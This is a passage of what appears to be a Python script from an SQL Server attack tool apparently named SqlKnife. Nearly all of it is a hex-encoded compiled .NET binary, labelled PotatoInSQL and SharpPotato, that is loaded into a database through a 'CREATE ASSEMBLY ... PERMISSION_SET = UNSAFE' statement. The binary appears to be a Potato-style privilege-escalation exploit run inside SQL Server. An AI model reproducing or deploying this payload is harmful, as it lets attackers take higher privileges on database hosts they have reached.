030818021012500C00040812501180D809101258150007081280E0101180F51C1180D41258091D1180DC082003011180F5070205200012810D0620010E1281190C0004021018101810118108080A000502181D0508100818060003021808080500020118181200090218080E0E08180E101180F4101180F814000B02180E0E18180208180E101180F4101180F805000202180903000009050002081808090003020E0E101180EC0C0006021802101180F009181807000302180910180E0006021809181180E41180E8101803000018040001021807000302101818020600010E1181040600010211810405000101123003000002100009080E0E081818181812811C1281181B00090812811C1281201011811409091281201011811410091281180800020812812010180820030112580E11640D2004010E0E08151280D10112100E2005010E0E08151280D10112100208200101151245010E05200101121013200208151180DD020E1234151180DD020E12340620030107070E062001011280FD0620020111640E092002011280C81280C4062001011281010D20060109090B0B1180F51280CC082002011D0511810C052000118110032800020328001C032800080428011C080428010E08042800121C0328000E0428001230042800121004280011180428001D0E08280015124D020E0E092800151280BD0112200C2800151280D101151245010E042800124404280012340528001280D9032800180428001D050801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010801000200000000001001000B5368617270506F7461746F000005010000000017010012436F7079726967687420C2A920203230323000002901002431626639633130662D366638392D343532302D396432652D61616631376431376261356500000C010007312E302E302E30000025010020557365204B65796564436F6C6C656374696F6E2E746869735B737472696E675D0000090100044974656D00002901002430303030303030642D303030302D303030302D433030302D30303030303030303030343600000801000100000000002901002430303030303030412D303030302D303030302D433030302D30303030303030303030343600002901002430303030303030332D303030302D303030302D433030302D3030303030303030303034360000060100010000002901002430303030303030422D303030302D303030302D433030302D30303030303030303030343600002901002430303030303030632D303030302D303030302D433030302D30303030303030303030343600000501000100000000000000008AB6086100000000020000001C010000401E01004000010052534453D1E8B532EC0E3B4EAED4C7BDF9A53C4901000000483A5C636F64655C637070636F64655C53716C4B6E6966655C53716C4B6E6966655C506F7461746F496E53514C5C6F626A5C52656C656173655C506F7461746F496E53514C2E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000841F010000000000000000009E1F0100002000000000000000000000000000000000000000000000901F0100000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000104E544C4D535350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000582001002C03000000000000000000002C0334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000001000000000000000100000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B0048C020000010053007400720069006E006700460069006C00650049006E0066006F0000006802000001003000300030003000300034006200300000001A000100010043006F006D006D0065006E007400730000000000000022000100010043006F006D00700061006E0079004E0061006D006500000000000000000040000C000100460069006C0065004400650073006300720069007000740069006F006E00000000005300680061007200700050006F007400610074006F000000300008000100460069006C006500560065007200730069006F006E000000000031002E0030002E0030002E003000000040001000010049006E007400650072006E0061006C004E0061006D006500000050006F007400610074006F0049006E00530051004C002E0064006C006C0000004800120001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000A90020002000320030003200300000002A00010001004C006500670061006C00540072006100640065006D00610072006B00730000000000000000004800100001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000050006F007400610074006F0049006E00530051004C002E0064006C006C00000038000C000100500072006F0064007500630074004E0061006D006500000000005300680061007200700050006F007400610074006F000000340008000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E0030002E0030002E003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000C000000B03F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = UNSAFE;
"""
sqltxt3="""
CREATE ASSEMBLY [PotatoInSQL]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006CB608610000000000000000E00022200B0130000000010000060000000000009A1F0100002000000020010000000010002000000002000004000000000000000400000000000000006001000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000481F01004F000000002001008803000000000000000000000000000000000000004001000C000000101E01001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000A8FF0000002000000000010000020000000000000000000000000000200000602E7273726300000088030000002001000004000000020100000000000000000000000000400000402E72656C6F6300000C00000000400100000200000006010000000000000000000000000040000042000000000000000000000000000000007C1F0100000000004800000002000500C46A00004CB3000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001E02281E0100062A1E02282C00000A2A133002000A00000001000011030A020628040000062A5A032D0B7201000070732D00000A7A020328050000062A5A1FFE733A01000625027D9100000425037D930000042A133004007C0000000200001104282E00000A2C1004282E00000A2C6A04282F00000A2C6204026F1200000A733000000A250A810800001B060A1200282F00000A2D03032B06026F3100000A100103720F000070283200000A2F2A72010000707215000070720F000070283200000A8C4C000001038C4C000001283300000A733400000A7A032A032A2A02283500000A16FE012A00133003007200000004000011020358046F3200000A283600000A0A150B020C2B48081858046F3200000A30180408186F3700000A72570000706F3800000A2C040818582A04086F3900000A1F0A33040817582A04086F3900000A28070000062C040817580B0817580C080632B407152E0906046F3200000A3302062A072A6602733A00000A7D0100000402282C00000A02037D020000042A3A027B0100000403046F1A00000A2A32027B010000046F1B00000A2A32027B010000046F1C00000A2A36027B01000004036F3B00000A2A32027B010000046F3C00000A2A36027B01000004036F3D00000A2A3A027B0100000403046F3E00000A2A36027B01000004036F3F00000A2A32027B010000046F4000000A2A0A162A46027B010000046F4100000A8C0B00001B2A36027B01000004036F1D00000A2A36027B01000004036F1E00000A2A36027B01000004036F1F00000A2A3A027B0100000403046F2000000A2A36027B01000004036F2100000A2A36027B01000004036F2200000A2A22020328230000062A3A027B0100000403046F2500000A2A36027B01000004036F4200000A2A3A027B0100000403046F4300000A2A36027B01000004036F4400000A2A000000133002009300000000000000027B020000046F290000062D0B725D000070734500000A7A03027B020000046F290000066F37000006320B7299000070734600000A7A027B020000046F290000066F3600000618334903027B010000046F4000000A323B027B020000046F2F0000066F5C00000672A50000706F4700000A027B020000046F2B000006284800000A027B020000046F2B00000673510000067A2A920203282200000603027B010000046F4000000A2F0D027B01000004036F4900000A2A142A3A027B0100000403046F4A00000A2A32027B01000004734B00000A2A32027B010000046F4C00000A2A5A72F7000070027B010000046F4C00000A284D00000A2A6A02282C00000A02037D06000004020273090000067D070000042A1E027B030000042A2202037D030000042A1E027B040000042A2202037D040000042A1E027B050000042A2202037D050000042A1E027B060000042A1E027B070000042A2E020304171628330000062A2E020304051628330000062A000013300600450100000500001102282C00000A032D0B72FD000070732D00000A7A036F3200000A2D10721101007072FD000070734E00000A7A05162F0B7249010070734600000A7A02037D0C00000402047D0D00000402057D10000004020275250000022D1303178D4E00000125161F7C9D6F4F00000A2B1D178D4B000001251603026F5000000A0A1200285100000A285200000AA27D0E0000040275250000022D0802750E0000022C012A0202283E0000067D0F000004020E047D12000004027B100000042D18027B0F0000042C1072650100707249010070734E00000A7A027B0F0000042D1F0517311B721E020070058C4C000001284800000A7249010070734E00000A7A027B0E000004729A020070280100002B163237027B0E0000048E69173308027B0F0000042D14027B0E0000048E6917311902283700000617311072A002007072FD000070734E00000A7A2A1E027B0C0000042A1E027B0D0000042A1E027B0F0000042A1E027B100000042A1E027B120000042A46027B0E0000046F5400000A740C00001B2A82027B110000042D07168D4B0000012A027B110000046F5400000A740C00001B2A1B300400A000000006000011D00D00001B285500000A0A060B076F5600000A2C24076F5700000A2C1C076F5800000A2D14076F5900000AD015000001285500000AFE012B01162D03062B08066F5A00000A169A0C1203FE150D00001B022C1208285B00000A026F5C00000AA50D00001B0DDE371304036F2F0000066F5C000006720E0300706F4700000A02086F5D00000A036F2B000006285E00000A036F2B000006110473520000067A092A011000000000500017670037240000011E027B0E0000042A1E027B110000042A133005004901000007000011160A733A00000A0B160C3892000000027B0E000004089A0D096F3200000A2D10728803007072FD000070734E00000A7A097E130000046F5F00000A13041104152E5B027B0E00000408091611046F3700000AA2062C0B060911046F3900000A330B0911046F3900000A0A2B2872D4030070068C4E0000010911046F3900000A8C4E000001283300000A72FD000070734E00000A7A09110407283F0000060817580C08027B0E0000048E693F60FFFFFF062D02162A027B10000004173028076F4000000A2C20722A040070027B100000048C4C000001284800000A72FD000070734E00000A7A027B10000004173152076F4000000A2D1E02188D4B000001251672B5040070A2251772B9040070A27D110000042B2C076F4000000A17331707166F4900000A6F3200000A2D0902147D110000042B0C02076F4C00000A7D11000004061F3D2E02172A182A00000013300500AE00000008000011150A0317580B2B7F02076F3900000A0C081F7B2E07081F7D2E222B4E06152E1672BD04007002284800000A72FD000070734E00000A7A0717580A2B470615331672BD04007002284800000A72FD000070734E00000A7A0402060706596F3700000A6F6000000A150A2B19061533150402076F3900000A0D1203286100000A6F6000000A0717580B07026F3200000A3F75FFFFFF06152E1672BD04007002284800000A72FD000070734E00000A7A2A8602036F4100000603146F2C00000603146F2A000006036F300000066F0E0000062A2202036F410000062A1E0228340000062A5A188D4E00000125161F3D9D25171F3A9D80130000042A3602286200000A17284B0000062A220216284B0000062A5A1FFE734301000625027D9E00000425037DA00000042A3E178D4B0000012516721D050070A22A1A72290500702AAA03286300000A2D0D0372730500706F6400000A2D05041451162A0403176F6500000A284900000651172A1E0228450000062A1E02286600000A2A3E0203286700000A02047D140000042A42020305286800000A02047D140000042A6A020304286900000A020372770500706F6A00000A7D140000042A1E027B140000042A6A020304286B00000A037277050070027B140000046F6C00000A2A220214285B0000062A13300300670000000000000002736D00000A7D1600000402728D050070736E00000A7D1800000402286F00000A02027B16000004737000000A7D1700000402037D15000004027B150000042D25027EAA000004252D17267EA9000004FE065B010006737100000A2580AA0000047D150000042A1E027B150000042A2202037D150000042A1E027B170000042ACE032D0B7205060070732D00000A7A036F3C0000062C12036F3C0000068E2C09036F3C000006169A2A7213060070734500000A7A1B3002002000000009000011032D0B7205060070732D00000A7A000203287200000A0ADE0526140ADE00062A0110000000000F000A1900053200000142020304287300000A020428640000062A000000133003003C0000000A00001102287400000A036F7500000A0A0203287600000A170B2B1802287700000A066F3C000006079A6F7800000A260717580B07066F3C0000068E6932DD2A42020304287900000A020428640000062A0000001B3003008E0000000B000011032D0B7205060070732D00000A7A036F3C0000068E69737A00000A0A170B2B2602287700000A036F3C000006079A036F7B00000A06036F3C000006079A6F3B00000A0717580B07036F3C0000068E6932CFDE3A26066F4100000A0C2B151202287C00000A0D02287700000A096F7800000A261202287D00000A2DE2DE0E1202FE160B00001B6F1100000ADCFE1A2A0000011C000002005B00227D000E0000000000001C003753003A2400000176032D0B723D060070732D00000A7A0203734C010006286600000626022A260203287E00000A022A2A0203140428680000062A2E020304051628690000062A0013300500400000000C000011735C0100060A06057DAB000004067BAB0000042D0B724B060070732D00000A7A03041706FE065D010006737F00000A0E04734F0100060B0207287E00000A022A2A02031404286B0000062A2E0203040516286C0000062A0013300500400000000D000011735E0100060A06057DAC000004067BAC0000042D0B724B060070732D00000A7A03041806FE065F010006737F00000A0E04734F0100060B0207287E00000A022A2A02031404280200002B2A3E02030405738000000A28660000062A2A02031404280300002B2A3E02030405738100000A28660000062A72032D0B7259060070732D00000A7A027B16000004036F8200000A022A1E0273280000062A001B300400DF0000000E000011032D0B7267060070732D00000A7A026F720000060A06156F2E000006170B733A00000A0C02729A020070288300000A2D03142B0B02729A020070287200000A0D037355010006130411046F5701000613052B5F11056F1300000A130606256F2D0000061758130711076F2E0000061106727B060070288400000A2C04160B2B32072D0D08090611062875000006262B22021104110628740000062D16021106066F770000062D0B080906110628750000062611056F1200000A2D98DE0C11052C0711056F1100000ADC066F290000062C0C066F29000006066F40000006082A0001100000020051006CBD000C000000001B300300470000000F000011027B160000046F8500000A0A2B1C1200288600000A0412016F480000062C0B03076F56010006170CDE1B1200288700000A2DDBDE0E1200FE161600001B6F1100000ADC162A082A000110000002000C002935000E00000000B6032D0902056F6000000A162A046F30000006056F0D00000604036F2A000006046F29000006046F40000006162A000013300600C700000010000011032D0B7281060070732D00000A7A04050E040E0514250B5107250B5107250B510751027B18000004036F8800000A0A066F8900000A2D02162A04066F8A00000A72930600706F8B00000A6F8C00000A5105066F8A00000A729D0600706F8B00000A6F8C00000A51066F8A00000A72A70600706F8B00000A6F8900000A2C47066F8A00000A72AF0600706F8B00000A6F8900000A2C300E04066F8A00000A72A70600706F8B00000A6F8C00000A510E05066F8A00000A72AF0600706F8B00000A6F8C00000A51172A0013300800B700000011000011046F290000062C0A0203042878000006172A0203120012011202120328760000062D02162A0207288300000A2C580207287200000A1304040607285200000A6F2C0000060411046F2A00000611046F36000006130511052C091105175917361C2B22046F30000006076F0D000006046F29000006046F400000062B080209042878000006172A0203070428790000062C02172A0206178D4B0000012516070809288D00000AA2288E00000A04287A0000062C02172A162A0013300400F100000012000011032C61046F290000066F3D0000062D0C178D4B000001251603A22B2903046F290000066F3D000006046F290000066F37000006046F300000066F1200000659166F8F00000A0A160B2B1406079A0C046F30000006086F0D0000060717580B07068E6932E6046F300000066F12000006046F290000066F370000062E0E046F290000066F3600000617330D046F29000006046F400000062A046F300000066F12000006046F290000066F370000063141027B1500000472BB060070046F300000066F120000068C4C000001046F290000066F370000068C4C000001283300000A6F4700000A046F2B00000673510000067A2A000000133005008A00000013000011046F3200000A17327F04046F3200000A17596F3900000A1F2B2E1204046F3200000A17596F3900000A1F2D335B020416046F3200000A17596F3700000A250B288300000A2C420207287200000A0A04046F3200000A17596F3900000A1F2B2E03142B01030C05036F2C00000605066F2A000006056F30000006086F0D00000606056F40000006172A162A000013300400FF00000014000011037221070070289000000A2C02162A160A38DB0000000304066F3900000A13041204286100000A285200000A0C04066F3900000A13041204286100000A0D0209288300000A2D29062D02162A027B1500000472250700706F4700000A090304285200000A283300000A1473510000067A0209287200000A0B076F36000006130511052C091105175917360D2B3B05080407287B0000062B55040617586F6500000A130605076F2A00000605086F2C0000060211066F3200000A2D03142B021106052878000006172A7291070070076F3600000613071207FE16060000026F9100000A285200000A734500000A7A0617580A06046F3200000A3F19FFFFFF172A8A02036F2C00000602056F2A000006026F30000006046F0D00000605026F400000062A00001B300600AC0100001500001102289200000A0A38A6000000066F9300000A0B160C076F380000063A920000000775250000022C180203076F3500000672C50700701F501F50287E0000062B7207750E0000020D092C150203096F91000006096F92000006287D0000062B530203071202287F0000062C47081F1D2F13031F201F1D0859739400000A6F9500000A2B15036F9600000A031F201F1D739400000A6F9500000A0203076F350000061F201F1F739400000A1F331F31287E000006066F1200000A3A4FFFFFFFDE0A062C06066F1100000ADC027B160000046F8500000A130438B40000001204288600000A130511056F4600000613061106399B00000011068E399300000016130703120772C707007028810000060312071106169A28810000061713082B2003120772F70000702881000006031207110611089A2881000006110817581308110811068E6932D811071F1D2F14031F201F1D110759739400000A6F9500000A2B15036F9600000A031F201F1D739400000A6F9500000A020311056F470000061F201F1F739400000A1F331F31287E0000061204288700000A3A40FFFFFFDE0E1204FE161600001B6F1100000ADC2A011C000002000700B8BF000A000000000200D600C79D010E000000001330060082000000160000111F201E739400000A05252D0726046F86000006285200000A0A066F3200000A1F1C2F2D0203061F201F1D066F3200000A59739400000A046F87000006288D00000A7E1D0000041F501F31287E0000062A02030672C50700701F501F50287E00000602037E1C000004046F87000006285200000A7E1D0000041F501F31287E0000062A00001B3003005300000017000011160A027B150000040428830000066F4700000A0E040E0528840000066F1600000A0B2B1A076F1300000A0C062C0703056F9500000A03086F9700000A170A076F1200000A2DDEDE0A072C06076F1100000ADC2A0001100000020022002648000A00000000133007008101000018000011046F3C0000060A061628800000060B07068E693302162A06079A6F3200000A173318030572CD0700702881000006030506169A28810000062B16030572D50700702881000006030506169A28810000060607175828800000060B2B3E030572F70000702881000006030506079A6F3200000A172E07727B0600702B0572210700702881000006030506079A28810000060607175828800000060B07068E6932BC046F36000006172E0C046F360000061840CA000000046F360000061733170305027B1500000472E70700706F4700000A28810000060305027B1500000472B904007016046F37000006046F350000062882000006285200000A6F4700000A2881000006046F3D0000062C09046F3D0000068E2D0772EB0700702B08046F3D000006169A0C170D2B2E0305027B150000040809046F37000006046F350000062882000006285200000A6F4700000A28810000060917580D09046F3700000632C9046F360000061733170305027B1500000472EF0700706F4700000A2881000006172A7A2B05031758100103028E692F0F02039A729A020070288400000A2DE6032A4E03034A046F3200000A585402046F9500000A2A1B300500BA0000001900001104252D062672C507007072F3070070289800000A72C50700700A6F9900000A0B2B51076F1500000A74350000016F8C00000A178D4E00000125161F3A9D6F4F00000A0C0317330808088E6917599A0A03173120088E6918331A08169A0F00289A00000A289B00000A288400000A2C0408179A0A076F1200000A2DA7DE110775170000010D092C06096F1100000ADC06286300000A2C2203172E18723508007002175813041204285100000A285200000A2B0572350800700A062A000001100000020020005D7D00110000000013300500D90000001A000011022D067E9C00000A2A026F3200000A739D00000A0A150B160C38A800000002086F3900000A0D091F3A2E7B091F7B2E07091F7D2E1D2B790807330D061F7B6F9E00000A26150B2B7A07162F760817580B2B7007162F3B081758026F3200000A2E0D020817586F3900000A1F7D2E11724108007002285200000A734500000A7A0817580C06727B0800706F9F00000A262B310602070807596F3700000A6F9F00000A26150B2B1C071632060817580B2B1207162F0E0602086F3900000A6F9E00000A260817580C08026F3200000A3F4CFFFFFF066F9100000A2A5602188D4C0000012516039E2517049E28030000062A761F201F1D739400000A801C0000041F201F1F739400000A801D0000042A1E027B1E0000042A1E027B1F0000042A1E027B200000042A2202037D200000042A1E027B210000042A2202037D210000042A1E027B220000042A2202037D220000042AB602282C00000A03286300000A2C0B729D060070732D00000A7A0203288F0000067D1E00000402047D1F0000042A0000133003004F0000001B000011026F3200000A739D00000A0A160B160C2B2D020828A000000A2D12160B0602086F3900000A6F9E00000A262B0E072D0B170B061F206F9E00000A260817580C08026F3200000A32CA066F9100000A2A00133002002F0000001C000011022888000006252D0426142B060328730000060B07252D0226030A02288A000006252D03262B06066FA100000A162A1E027B230000042A1E027B240000042A00133005005B0000000000000002727F08007004252D0D26032D03142B06032886000006285200000A04252D0D26032D03142B0603288600000616052833000006032D0B7299080070732D00000A7A02037D230000040204252D0726036F860000067D240000042A2E72A908007073A200000A7AB602046F34000006046F35000006046F37000006046F38000006283300000602037D2600000402047D250000042A7A027B26000004177D2E000004027B25000004252D02262A0328420000062A3E0204285B00000602037D270000042A9A020428990000062C140203027B2700000404739500000628630000062A02030428630000062A0013300200370000001D000011032D02162A03750F0000022C02162A036F3C0000060A160B2B1506079A7213090070288400000A2C02172A0717580B07068E6932E5162A9A020428990000062C140203027B2700000404739500000628610000062A02030428610000062A1E027B290000042A4E020328A300000A28A400000A04289D0000062A00001330030054000000000000000228A500000A032D0B721D090070732D00000A7A042D0B7229090070732D00000A7A052D0B7237090070732D00000A7A02037D2800000402020E0473970000067D2900000402047D2A00000402057D2B0000042A1E027B280000042A1E027B2A0000042A1E027B2B0000042A32027B290000046F5C0000062A32032D02142A0328860000062AAE032D0B72AF060070732D00000A7A020328A4000006027B2900000403141673930000066F6600000626022A0000133003006400000000000000036F8C0000062C19036F8C000006022E10724309007072AF060070734E00000A7A03026F8D000006036F880000062C16036F88000006027B290000046F5C0000066F5D000006020328A600000A02027B2D000004252D07260375120000027D2D0000042A3E027B29000004036F6500000626022A3E027B29000004036F6600000626022A42027B2900000403046F6700000626022A46027B290000040304056F6800000626022A4E027B290000040304050E046F6900000626022A42027B2900000403046F6A00000626022A46027B290000040304056F6B00000626022A4E027B290000040304050E046F6C00000626022A46027B290000040314046F0200002B26022A46027B290000040304056F0200002B26022A42027B2900000403046F0400002B26022A46027B290000040304056F0300002B26022A3E027B29000004036F7100000626022A0000001B300500CC0000001E000011032D0B72BB090070732D00000A7A027B2C0000042D0B0273A700000A7D2C000004020328B30000062D7C027B2C000004036FA800000A037B290000046F9200000A0A2B4E066F9300000A0B07750E0000020C082C30027B29000004086F91000006036F9E00000672EB070070086F92000006288D00000A1673930000066F66000006262B0D027B29000004076F6600000626066F1200000A2DAADE0A062C06066F1100000ADC03027B290000047D2900000403027B2A0000047D2A00000403027B2B0000047D2B000004022A01100000020042005A9C000A000000001B3002004E0000001F00001103023302172A027B2C0000042D02162A027B2C0000046FA900000A0A2B13120028AA00000A036FB30000062C04170BDE1B120028AB00000A2DE4DE0E1200FE161B00001B6F1100000ADC162A072A00000110000002001C00203C000E000000005A1FFE736001000625027DB200000425037DB10000042A00133004008D000000040000110372C507007051020250252D062672C50700705102506F3200000A0A160B2B680250076F3900000A28AC00000A2D55070C2B330250086F3900000A28AC00000A2C20030250086F6500000A6FAD00000A5102025007086F3700000A6FAD00000A512A0817580C080632C90372C507007051072C0F020250076F6500000A6FAD00000A512A0717580B070632942A000000133005005F01000020000011032D0B7267060070732D00000A7A02167D2E000004027B2D0000042D170273BB0000067D2D00000402027B2D00000428A400000602FE06BA00000673AE00000A0A027B2900000472130900706F8300000A2D18027B29000004721309007072C507007006176F6900000626027B2900000472D90900706F8300000A2D18027B2900000472D909007072C507007006176F6900000626027B29000004036F730000060B076F4000000A2D47027B2E0000042C0D027B2D000004076F900000062A02289F000006027B290000046F5C00000672DD09007002289E00000672E9090070288D00000A6F4700000A6F9700000A172A020728B70000060C082D14027B2D00000407166F4900000A6FBF000006172A027B2E0000042C3F086F88000006252D0426172B0A7213090070288300000A2C1307720D0A00706F3B00000A08076F900000062A086F8800000602289F0000066F7C000006162A08076F900000062A4E020328B8000006252D0826020328B90000062A0013300400610000002100001103166F4900000A0A020628AF00000A2C0F03166F4400000A020628B000000A2A170B2B320672EB07007003076F4900000A288D00000A0A020628AF00000A2C1203160717586FB100000A020628B000000A2A0717580B07036F4000000A32C5142A000000133003007700000022000011736B0100060A06037DB8000004027B2C0000042D02142A027B2C00000406FE066C01000673B200000A6FB300000A0B072D02142A067BB8000004734B00000A0C08166F4400000A086F4000000A2D02142A07086FB70000060D092C19067BB80000046F3C00000A067BB8000004086FB400000A092A142A2E020314FE037D2E0000042A46027213090070721B0A0070288E0000062A0000001B300500080200002300001103252D0726168D4B000001734B00000A0A02288C0000066F9B0000066F5C0000060B066F4000000A2D1D02288C0000066F9B00000602288C0000066F9F0000066F7C000006162A02288C000006066FB70000060C08022E1006720D0A00706F3D00000A395901000002288C0000066F9F0000060772510A007002288C0000066F9E00000672610A0070288D00000A6F4700000A6F9700000A02288C0000066F9F0000060772DD09007002288C0000066F9E00000672870A0070288D00000A6F4700000A6F9700000A02288C0000066F9F0000066F9600000A02288C0000066F9F0000060772E50A00706F4700000A6F9700000A02288C0000066F9F0000066F9600000A0228BD000006257EBA000004252D17267EB9000004FE066F01000673B500000A2580BA0000046FB600000A6FB700000A0D2B45120328B800000A1304120428B900000A7213090070288400000A2D2902288C0000066F9B00000602288C0000066F9F000006120428BA00000A120428B900000A6F7D000006120328BB00000A2DB2DE0E1203FE162000001B6F1100000ADC02288C0000066F9B00000602288C0000066F9F00000602288C0000067B2D00000472130900706F7D000006162A082D0F0206166F4900000A28BF000006172A086F880000062C18086F8800000602288C0000066F9F0000066F7C000006162A08178D4B0000012516720D0A0070A26F900000062A01100000020034015286010E000000001B300400950000002400001173BC00000A0A02288C0000066FBD00000A0B2B19076FBE00000A0C06086F860000060873BF00000A6FC000000A076F1200000A2DDFDE0A072C06076F1100000ADC02288C0000067B2C0000042D02062A02288C0000067B2C0000046FA900000A0D2B17120328AA00000A1304020672C5070070110428BE000006120328AB00000A2DE0DE0E1203FE161B00001B6F1100000ADC062A000000011C0000020012002537000A00000000020061002485000E000000001B3005009900000025000011056FBD00000A0A2B2A066FBE00000A0B0304056F9E00000672EB070070076F8600000628C100000A0773BF00000A6FC000000A066F1200000A2DCEDE0A062C06066F1100000ADC057B2C0000042D012A057B2C0000046FA900000A0C2B21120228AA00000A0D020304056F9E00000672EB070070288D00000A0928BE000006120228AB00000A2DD6DE0E1202FE161B00001B6F1100000ADC2A000000011C000002000700363D000A0000000002005C002E8A000E0000000013300600860000000000000002288C0000066FA000000602288C0000066F9B0000066F5C00000602288C0000066F9E000006720D0B007003288D00000A6F4700000A6F9700000A02288C0000066FA000000602288C0000066F9B0000066F5C00000602288C0000066F9E00000672350B007002288C0000066F9E00000672E909007028C100000A6F4700000A6F9700000A2A1E027B340000042A2202037D340000042A1E027B350000042A2202037D350000042A133001001400000026000011027C3300000428850100060A120028810100062A13300900780000002700001173860100060A1472450B0070177EC200000A7EC200000A7EC200000A7EC200000A027B320000040628200100062C0C72590B007028C300000A152A120103288301000602200001000073820100067D33000004027B3200000414120120000800001F10027B31000004027C3300000412020628210100062A133004004A00000028000011027C3300000428850100060A120028810100060B038E69078E693222160C2B1608078E692F0803080708919C2B040308169C0817580C08038E6932E42B0A729B0B007028C300000A162A0000133009006F000000290000111200032883010006021673820100067D3300000473880100062673860100060C027B32000004027B31000004120020000900001F10027B31000004027C3300000412010828210100060D092D20021728EC000006027B3100000412042822010006250D2D0802110428EE000006092AA20273880100067D310000040273870100067D32000004027EC200000A7D3500000402282C00000A2A5602282C00000A02037D5200000402047D530000042A000013300400580000002A00001102282C00000A0373C400000A28C500000A73C600000A0A066FC700000A204D454F572E0B72010C007073C800000A7A066FC700000A02061F106FC900000A73CA00000A7D5200000417330C0206737A0100067D530000042A133002004E0000002B00001173CB00000A73CC00000A0A06204D454F576FCD00000A06176FCD00000A06027B520000040B120128CE00000A6FCF00000A027B53000004066F7B010006066FD000000A74640000016FD100000A2A0000133004001A0000002C0000111F1028D200000A0A0F0028CE00000A16061F1028D300000A062A7E72490C007073D400000A80540000047E5400000428F700000680550000042A32027B5C0000046FED0000062A001330030046000000000000000273F30000067D5C00000402161673D500000A7D6100000402282C00000A02037D5D00000402047D5E00000402057D5F000004052C080228FE000006262A0228FF000006262AA60202FE060101000673D600000A73D700000A7D5B000004027B5B0000046FD800000A027B5B0000042AA60202FE060201000673D600000A73D700000A7D5A000004027B5A0000046FD800000A027B5A0000042A000013300200560000002D00001120001000008D6B0000010A03066FD900000A2628DA00000A066FDB00000A0B72970C0070736E00000A076FDC00000A0C086FDD00000A2D02142A08166FDE00000A6F8A00000A72DF0C00706F8B00000A6F8C00000A2A000013300400CF0000002E00001118171C73DF00000A0A0620FFFF00001A176FE000000A067EE100000A206117000073E200000A6FE300000A061F0A6FE400000A027B610000046FE500000A262B0B02FE137B600000042C012A0620A0860100166FE600000A2CE7066FE700000A0B020728000100060C027B5C0000040828E800000A6FF00000062672E70C0070027B5C0000046FEF00000628E900000A284800000A0D0728DA00000A096FEA00000A6FEB00000A26020728000100060C027B5C0000040828E800000A6FF200000626076FEC00000A066FEC00000A2A001B300400810100002F00001118171C73DF00000A0A0620FFFF00001A176FE000000A067EE100000A027B5E00000473E200000A6FE300000A061F0A6FE400000A027B610000046FE500000A262B0F02FE137B600000042C05DD2F0100000620A0860100166FE600000A2CE3066FE700000A0B18171C73DF00000A0C087EE100000A208700000073E200000A6FED00000A20001000008D6B0000010D16130438A400000011048D6B000001130509110511058E6928EE00000A021105280501000626027B5C0000046FEB0000063A860000000811056FEB00000A2608096FD900000A130411042C7011048D6B000001130509110511058E6928EE00000A0211052805010006260711056FEB00000A260620A0860100166FE600000A2C2B076FEC00000A066FE700000A0B18171C73DF00000A0C087EE100000A208700000073E200000A6FED00000A07096FD900000A251304163D4CFFFFFF076FEC00000A086FEC00000A066FEC00000ADE21130672B20D007011066FEF00000A28F000000A027B610000046FE500000A26DE002A000000411C000000000000000000005F0100005F01000021000000240000011B300700BD00000030000011027B5F0000042D667EC200000A17120028F80000062606201210000016120128F9000006260772FA0D0070027B5E0000048C4C000001284800000A1D73240100060C178D370000020D09168F370000027E550000047DFB00000414027C5D000004141A08170928FA000006262B11027B5D00000428F100000A28F200000A26DE271304027B5C0000046FEB0000062D1672180E007011046FEF00000A284800000A28F300000ADE000217FE137D60000004027B5C0000046FEB0000062A00000001100000000000008181002724000001133003003A000000310000111D8D6B00000125D08C00000428F400000A0A160B160C2B1A030891060791330C0717580B071D3306081C592A160B0817580C08038E6932E0152A0000133006008000000032000011020328040100060A06153302152A038E6906598D6B0000010B03060716078E6928F500000A03061E58910C0817594503000000020000000F000000280000002B33027B5C000004076FF00000062A027B5C000004076FF100000607160306078E6928F500000A2A027B5C000004076FF20000062A72220E007028C300000A152A13300100780100000000000002452300000035000000050000006500000053000000D10000006B000000B90000008F000000B30000005F000000A7000000AD000000770000004D00000023000000290000001100000089000000950000003B0000000B000000A10000001700000083000000CB0000009B0000004100000071000000470000001D0000002F000000590000007D000000BF000000C500000038CC000000726C0E00702A72A80E00702A72CA0E00702A72EE0E00702A721E0F00702A724E0F00702A72820F00702A72B80F00702A72F40F00702A72221000702A72441000702A727C1000702A72AA1000702A72EA1000702A721C1100702A